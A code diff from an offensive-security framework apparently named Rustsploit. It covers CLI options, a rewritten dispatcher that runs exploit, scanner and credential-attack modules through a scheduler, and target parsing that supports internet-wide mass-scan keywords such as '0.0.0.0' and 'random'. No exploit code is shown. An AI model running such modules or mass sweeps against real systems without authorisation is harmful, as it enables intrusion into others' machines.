#[arg(long)]
|
||||
pub list_modules: bool,
|
||||
|
||||
/// Regenerate `docs/Module-Catalog.md` from the live module registry
|
||||
/// and exit. Replaces hand-maintained module counts/lists.
|
||||
#[arg(long)]
|
||||
pub gen_module_catalog: bool,
|
||||
|
||||
/// List all on-disk scan checkpoints from `~/.rustsploit/checkpoints/`
|
||||
/// and exit. CIDR / random / file fan-outs are checkpointed
|
||||
/// automatically; rerunning the same `(module, target)` resumes.
|
||||
#[arg(long)]
|
||||
pub list_checkpoints: bool,
|
||||
|
||||
/// Execute a resource script file on startup
|
||||
#[arg(short = 'r', long = "resource")]
|
||||
pub resource: Option<String>,
|
||||
|
||||
/// Path to PQ host key file (default: ~/.rustsploit/pq_host_key)
|
||||
#[arg(long, requires = "api")]
|
||||
pub pq_host_key: Option<String>,
|
||||
|
||||
/// Launch MCP (Model Context Protocol) server over stdio
|
||||
#[arg(long)]
|
||||
pub mcp: bool,
|
||||
|
||||
/// Enable strict TLS verification for all modules. Without this flag, the
|
||||
/// framework's `permissive()` HTTP client builder accepts self-signed
|
||||
/// certs (historical behavior — many target devices use self-signed
|
||||
/// certs). Setting this flag flips the default to verifying TLS, matching
|
||||
/// the standard browser/curl posture. Modules that legitimately need
|
||||
/// permissive TLS can still opt in explicitly.
|
||||
#[arg(long)]
|
||||
pub strict_tls: bool,
|
||||
|
||||
/// Trust X-Forwarded-For (and similar) for client-IP attribution in
|
||||
/// rate limiting. Off by default — only enable when the daemon is behind
|
||||
/// a proxy you trust to scrub the header. Without this flag, the
|
||||
/// per-IP handshake limiter uses the TCP peer address.
|
||||
#[arg(long, requires = "api")]
|
||||
pub trust_proxy: bool,
|
||||
|
||||
/// Passphrase for encrypting/decrypting the PQ host key at rest.
|
||||
/// When set, the host key file is encrypted with argon2id + ChaCha20-Poly1305.
|
||||
/// If omitted in API mode, the operator is prompted interactively on first run.
|
||||
#[arg(long, requires = "api")]
|
||||
pub pq_key_passphrase: Option<String>,
|
||||
}
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
|
||||
|
||||
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
@@ -1,80 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("cred_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let creds_root = Path::new("src/modules/creds");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Generate dispatch function
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found cred module: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,7 +0,0 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
|
||||
|
||||
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let exploits_root = Path::new("src/modules/exploits");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found exploit: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
+179
-82
@@ -1,101 +1,198 @@
|
||||
pub mod exploit;
|
||||
pub mod scanner;
|
||||
pub mod creds;
|
||||
// src/commands/mod.rs
|
||||
//
|
||||
// Thin command dispatcher on top of the unified `crate::scheduler` engine
|
||||
// and the `crate::module` inventory registry. All target expansion (CIDR,
|
||||
// file, multi, random), concurrency control, prompt-cache propagation,
|
||||
// honeypot detection, and finding routing happens inside the scheduler —
|
||||
// this file is responsible only for resolving the user-supplied module
|
||||
// name and routing to the scheduler.
|
||||
|
||||
use anyhow::Result;
|
||||
use std::sync::Arc;
|
||||
|
||||
use crate::cli::Cli;
|
||||
use walkdir::WalkDir;
|
||||
use crate::utils::normalize_target;
|
||||
use crate::config;
|
||||
use crate::module::{self, Module, ModuleOptions, Target};
|
||||
use crate::scheduler;
|
||||
|
||||
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
|
||||
// ============================================================
|
||||
// CLI ENTRY POINTS
|
||||
// ============================================================
|
||||
|
||||
/// CLI subcommand dispatcher (`exploit`, `scanner`, `creds`, ...).
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let raw = cli_args.target.clone().unwrap_or_default();
|
||||
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
crate::utils::verbose_log(cli_args.verbose, "Handling CLI command...");
|
||||
|
||||
match command {
|
||||
"exploit" => {
|
||||
let trimmed = module.trim_start_matches("exploits/");
|
||||
exploit::run_exploit(trimmed, &target).await?;
|
||||
},
|
||||
"scanner" => {
|
||||
let trimmed = module.trim_start_matches("scanners/");
|
||||
scanner::run_scan(trimmed, &target).await?;
|
||||
},
|
||||
"creds" => {
|
||||
let trimmed = module.trim_start_matches("creds/");
|
||||
creds::run_cred_check(trimmed, &target).await?;
|
||||
},
|
||||
_ => {
|
||||
eprintln!("Unknown command '{}'", command);
|
||||
let raw = if let Some(t) = cli_args.target.clone() {
|
||||
t
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => {
|
||||
crate::mprintln!("[*] Using global target: {}", t);
|
||||
t
|
||||
}
|
||||
None => return Err(anyhow::anyhow!("No target specified and global target not set")),
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Interactive shell: handles `run` with raw target string
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
let available = discover_modules();
|
||||
|
||||
let full_match = available.iter().find(|m| m == &module_path);
|
||||
let short_match = available.iter().find(|m| {
|
||||
m.rsplit_once('/')
|
||||
.map(|(_, short)| short == module_path)
|
||||
.unwrap_or(false)
|
||||
});
|
||||
|
||||
let resolved = if let Some(m) = full_match {
|
||||
m
|
||||
} else if let Some(m) = short_match {
|
||||
m
|
||||
} else {
|
||||
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
|
||||
for m in available {
|
||||
println!(" {}", m);
|
||||
}
|
||||
return Ok(());
|
||||
return Err(anyhow::anyhow!(
|
||||
"No target specified. Use --target <ip> or --set-target <ip/subnet>"
|
||||
));
|
||||
};
|
||||
|
||||
let target = normalize_target(raw_target)?;
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
let module_name = parts.next().unwrap_or("");
|
||||
|
||||
match category {
|
||||
"exploits" => exploit::run_exploit(module_name, &target).await?,
|
||||
"scanners" => scanner::run_scan(module_name, &target).await?,
|
||||
"creds" => creds::run_cred_check(module_name, &target).await?,
|
||||
_ => eprintln!("❌ Category '{}' is not supported.", category),
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
let stripped = match command {
|
||||
"exploit" => module.trim_start_matches("exploits/").to_string(),
|
||||
"scanner" => module.trim_start_matches("scanners/").to_string(),
|
||||
"creds" => module.trim_start_matches("creds/").to_string(),
|
||||
"plugins" => module.trim_start_matches("plugins/").to_string(),
|
||||
"osint" => module.trim_start_matches("osint/").to_string(),
|
||||
_ => module,
|
||||
};
|
||||
if stripped.is_empty() {
|
||||
return Err(anyhow::anyhow!("No module specified"));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
run_module(&stripped, &raw, cli_args.verbose).await
|
||||
}
|
||||
|
||||
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
let categories = ["exploits", "scanners", "creds"];
|
||||
/// Resolve the user-supplied module path/short-name and run it through the
|
||||
/// unified scheduler. Replaces the legacy `dispatch_with_cidr` /
|
||||
/// `dispatch_single_target` machinery.
|
||||
pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> Result<()> {
|
||||
tracing::info!(module = %module_path, target = %raw_target, "Starting module execution");
|
||||
crate::utils::verbose_log(
|
||||
verbose,
|
||||
&format!(
|
||||
"Attempting to run module '{}' against '{}'",
|
||||
module_path, raw_target
|
||||
),
|
||||
);
|
||||
|
||||
for category in &categories {
|
||||
let base = format!("src/modules/{}", category);
|
||||
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
|
||||
let p = entry.path();
|
||||
if p.is_file()
|
||||
&& p.extension().map_or(false, |e| e == "rs")
|
||||
&& p.file_name().map_or(true, |n| n != "mod.rs")
|
||||
{
|
||||
if let Ok(rel) = p.strip_prefix("src/modules") {
|
||||
let module_path = rel
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace("\\", "/");
|
||||
modules.push(module_path);
|
||||
let module_box = match module::find(module_path) {
|
||||
Some(m) => m,
|
||||
None => {
|
||||
use colored::Colorize;
|
||||
crate::meprintln!("{}", format!("Unknown module '{}'.", module_path).red());
|
||||
let all = discover_modules_cached();
|
||||
let best = all
|
||||
.iter()
|
||||
.map(|m| (m, strsim::levenshtein(module_path, m)))
|
||||
.min_by_key(|&(_, d)| d);
|
||||
if let Some((suggestion, dist)) = best
|
||||
&& dist < 5 {
|
||||
crate::meprintln!(
|
||||
"{}",
|
||||
format!(" Did you mean: {}?", suggestion).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
return Err(anyhow::anyhow!("Module not found"));
|
||||
}
|
||||
};
|
||||
|
||||
let target_str = if raw_target.is_empty() {
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => {
|
||||
crate::mprintln!("[*] Using global target: {}", t);
|
||||
t
|
||||
}
|
||||
None => return Err(anyhow::anyhow!("No global target set")),
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified."));
|
||||
}
|
||||
} else {
|
||||
raw_target.to_string()
|
||||
};
|
||||
|
||||
let target = Target::parse(&target_str)?;
|
||||
let resolved_path = resolve_full_path(module_path).unwrap_or_else(|| module_path.to_string());
|
||||
|
||||
crate::events::emit(crate::events::ModuleEvent::ModuleStarted {
|
||||
module: resolved_path.clone(),
|
||||
target: target_str.clone(),
|
||||
});
|
||||
|
||||
let module: Arc<dyn Module> = module_box.into();
|
||||
let mut opts = ModuleOptions::default();
|
||||
// Populate ModuleOptions from the *tenant-scoped* options so native modules
|
||||
// reading ctx.options (port, source_port, threads, etc.) see the requesting
|
||||
// tenant's values — not the process-global singleton, which would leak a
|
||||
// shell/MCP operator's `setg` values into other tenants' runs.
|
||||
// `resolve()` falls back to the global store when there is no tenant (CLI).
|
||||
let scoped_opts = crate::tenant::resolve().global_options().all().await;
|
||||
for (k, v) in &scoped_opts {
|
||||
opts.set(k.clone(), v.clone());
|
||||
}
|
||||
// Auto-save: append all of this run's console output to
|
||||
// `~/.rustsploit/loot/<module> <time> results.txt`. Scoped to interactive
|
||||
// console / CLI runs (sequential, so a single global sink is race-free);
|
||||
// API / MCP runs return their captured output to the caller instead.
|
||||
let autosave = !crate::config::get_module_config().api_mode;
|
||||
if autosave {
|
||||
crate::results_sink::begin(&resolved_path);
|
||||
}
|
||||
|
||||
modules
|
||||
let result = scheduler::run(module, target, opts, verbose).await;
|
||||
|
||||
if autosave {
|
||||
crate::results_sink::end();
|
||||
}
|
||||
|
||||
crate::events::emit(crate::events::ModuleEvent::ModuleFinished {
|
||||
module: resolved_path,
|
||||
target: target_str,
|
||||
success: result.is_ok(),
|
||||
});
|
||||
|
||||
result.map(|_| ())
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// PUBLIC API SURFACE (consumed by shell, ws, mcp, jobs, api, utils)
|
||||
// ============================================================
|
||||
|
||||
/// Process-wide cached list of `category/name` paths for every registered
|
||||
/// module. Sorted, deterministic.
|
||||
pub fn discover_modules_cached() -> &'static Vec<String> {
|
||||
static CACHE: std::sync::OnceLock<Vec<String>> = std::sync::OnceLock::new();
|
||||
CACHE.get_or_init(module::all_paths)
|
||||
}
|
||||
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
discover_modules_cached().clone()
|
||||
}
|
||||
|
||||
/// Number of registered plugin-category modules (zero unless someone wires
|
||||
/// in dynamic plugins through the inventory registry).
|
||||
pub fn plugin_count() -> usize {
|
||||
module::registered()
|
||||
.filter(|e| e.category == module::Category::Plugins)
|
||||
.count()
|
||||
}
|
||||
|
||||
/// Static category list, derived from the `Category` enum.
|
||||
pub fn categories() -> &'static [&'static str] {
|
||||
&["scanners", "exploits", "creds", "osint", "plugins"]
|
||||
}
|
||||
|
||||
pub fn module_info(module_path: &str) -> Option<crate::module_info::ModuleInfo> {
|
||||
module::find(module_path).map(|m| m.info())
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// HELPERS
|
||||
// ============================================================
|
||||
|
||||
/// Find the canonical `category/name` form of a module if the user supplied
|
||||
/// just the short name. Returns `None` for an unknown module.
|
||||
pub fn resolve_full_path(module_path: &str) -> Option<String> {
|
||||
if module_path.contains('/') {
|
||||
// Already qualified; verify it exists.
|
||||
return module::registered()
|
||||
.find(|e| format!("{}/{}", e.category.as_str(), e.name) == module_path)
|
||||
.map(|e| format!("{}/{}", e.category.as_str(), e.name));
|
||||
}
|
||||
module::registered()
|
||||
.find(|e| e.name == module_path)
|
||||
.map(|e| format!("{}/{}", e.category.as_str(), e.name))
|
||||
}
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
|
||||
|
||||
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Write};
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let scanners_root = Path::new("src/modules/scanners");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found scanner: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
+442
@@ -0,0 +1,442 @@
|
||||
use std::collections::HashMap;
|
||||
use std::sync::{Arc, RwLock};
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use ipnetwork::IpNetwork;
|
||||
use regex::Regex;
|
||||
|
||||
/// Maximum length for target strings
|
||||
const MAX_TARGET_LENGTH: usize = 2048;
|
||||
|
||||
/// Maximum length for hostname
|
||||
const MAX_HOSTNAME_LENGTH: usize = 253;
|
||||
|
||||
/// Global configuration for the framework
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct GlobalConfig {
|
||||
/// Global target - can be a single IP or CIDR subnet
|
||||
target: Arc<RwLock<Option<TargetConfig>>>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum TargetConfig {
|
||||
/// Single IP address or hostname
|
||||
Single(String),
|
||||
/// CIDR subnet (e.g., "192.168.1.0/24")
|
||||
Subnet(IpNetwork),
|
||||
/// Comma-separated list of targets (IPs, hostnames, and/or CIDRs)
|
||||
Multi(Vec<String>),
|
||||
}
|
||||
|
||||
impl GlobalConfig {
|
||||
/// Create a new global configuration
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
target: Arc::new(RwLock::new(None)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Set the global target (IP, hostname, or CIDR subnet)
|
||||
pub fn set_target(&self, target: &str) -> Result<()> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Basic validation
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
// Length check
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Target too long (max {} characters)",
|
||||
MAX_TARGET_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Target cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Mass scan keyword: "random" — store as-is. "0.0.0.0/0" is handled
|
||||
// below as a CIDR subnet.
|
||||
if trimmed == "random" {
|
||||
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Bare "0.0.0.0" is an operator alias for the full-internet sweep
|
||||
// "0.0.0.0/0" (== "random"), added 2026-06-09 (reverses the earlier M45
|
||||
// single-host rule). Store it as the /0 subnet so every consumer treats
|
||||
// it as a mass scan; the scheduler still shows an advisory + an
|
||||
// interactive confirmation before it actually sweeps.
|
||||
if trimmed == "0.0.0.0" {
|
||||
let net: IpNetwork = "0.0.0.0/0"
|
||||
.parse()
|
||||
.map_err(|e| anyhow!("internal: failed to parse 0.0.0.0/0 as a network: {e}"))?;
|
||||
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
|
||||
*target_guard = Some(TargetConfig::Subnet(net));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Sequential mass-scan keywords: `seq`/`sequential` (whole public range)
|
||||
// or `seq:<ip>`/`sequential:<ip>` (explicit start). Stored verbatim;
|
||||
// `module::Target::parse` turns it into `Target::Sequential`.
|
||||
{
|
||||
let lower = trimmed.to_ascii_lowercase();
|
||||
if lower == "seq"
|
||||
|| lower == "sequential"
|
||||
|| lower.starts_with("seq:")
|
||||
|| lower.starts_with("sequential:")
|
||||
{
|
||||
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
// File-based target list: resolve canonical path to prevent traversal,
|
||||
// then store if the file exists. This check must come before the ".."
|
||||
// rejection so relative file paths like "../targets.txt" work.
|
||||
let path = std::path::Path::new(trimmed);
|
||||
if path.exists() && path.is_file() {
|
||||
// Resolve to canonical path (eliminates .., symlinks, etc.)
|
||||
let canonical = path.canonicalize()
|
||||
.with_context(|| format!("Failed to resolve file path '{}'", trimmed))?;
|
||||
let canonical_str = canonical.to_string_lossy().to_string();
|
||||
if canonical_str.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Canonical path too long (max {} characters)",
|
||||
MAX_TARGET_LENGTH
|
||||
));
|
||||
}
|
||||
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
|
||||
*target_guard = Some(TargetConfig::Single(canonical_str));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Check for path traversal attempts (only for non-file targets)
|
||||
if trimmed.contains("..") || trimmed.contains("//") {
|
||||
return Err(anyhow!("Target contains invalid characters (path traversal)"));
|
||||
}
|
||||
|
||||
// Comma-separated multi-target: "10.0.0.1, 192.168.1.0/24, example.com"
|
||||
if trimmed.contains(',') {
|
||||
let targets: Vec<String> = trimmed
|
||||
.split(',')
|
||||
.map(|t| t.trim().to_string())
|
||||
.filter(|t| !t.is_empty())
|
||||
.collect();
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No valid targets in comma-separated list"));
|
||||
}
|
||||
if targets.len() == 1 {
|
||||
// Single target after parsing — recurse without comma
|
||||
return self.set_target(&targets[0]);
|
||||
}
|
||||
// Validate each individual target
|
||||
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0/0"];
|
||||
for t in &targets {
|
||||
// Allow mass scan keywords, CIDRs, file paths, and hostnames/IPs
|
||||
if MASS_SCAN_KEYWORDS.contains(&t.as_str()) {
|
||||
continue;
|
||||
}
|
||||
if std::path::Path::new(t.as_str()).is_file() {
|
||||
continue;
|
||||
}
|
||||
if t.parse::<IpNetwork>().is_err() {
|
||||
Self::validate_hostname_or_ip(t)?;
|
||||
}
|
||||
}
|
||||
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
|
||||
*target_guard = Some(TargetConfig::Multi(targets));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first — but ONLY when an explicit prefix
|
||||
// is present. `IpNetwork::from_str` silently widens a bare address to a
|
||||
// host route (`0.0.0.0` -> `0.0.0.0/32`, `10.0.0.1` -> `10.0.0.1/32`),
|
||||
// which turned every single-IP target into a subnet: it surfaced as
|
||||
// "Using target: 0.0.0.0/32", routed single hosts through CIDR fan-out,
|
||||
// and tripped `is_mass_scan_target` (which then skips honeypot
|
||||
// detection). A bare IP is a single host (M45) — require the '/' so it
|
||||
// falls through to `TargetConfig::Single` below.
|
||||
if trimmed.contains('/')
|
||||
&& let Ok(network) = trimmed.parse::<IpNetwork>()
|
||||
{
|
||||
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
|
||||
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
|
||||
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
|
||||
*target_guard = Some(TargetConfig::Subnet(network));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate hostname/IP format
|
||||
Self::validate_hostname_or_ip(trimmed)?;
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Validates a hostname or IP address format
|
||||
fn validate_hostname_or_ip(target: &str) -> Result<()> {
|
||||
// Length check for hostname
|
||||
if target.len() > MAX_HOSTNAME_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Hostname too long (max {} characters)",
|
||||
MAX_HOSTNAME_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
// Use OnceCell::get_or_try_init so a (theoretically impossible)
|
||||
// regex compile failure surfaces as a clean error instead of a
|
||||
// panic on first input. The literal pattern is hardcoded and has
|
||||
// never failed to compile in test, but proper plumbing matters.
|
||||
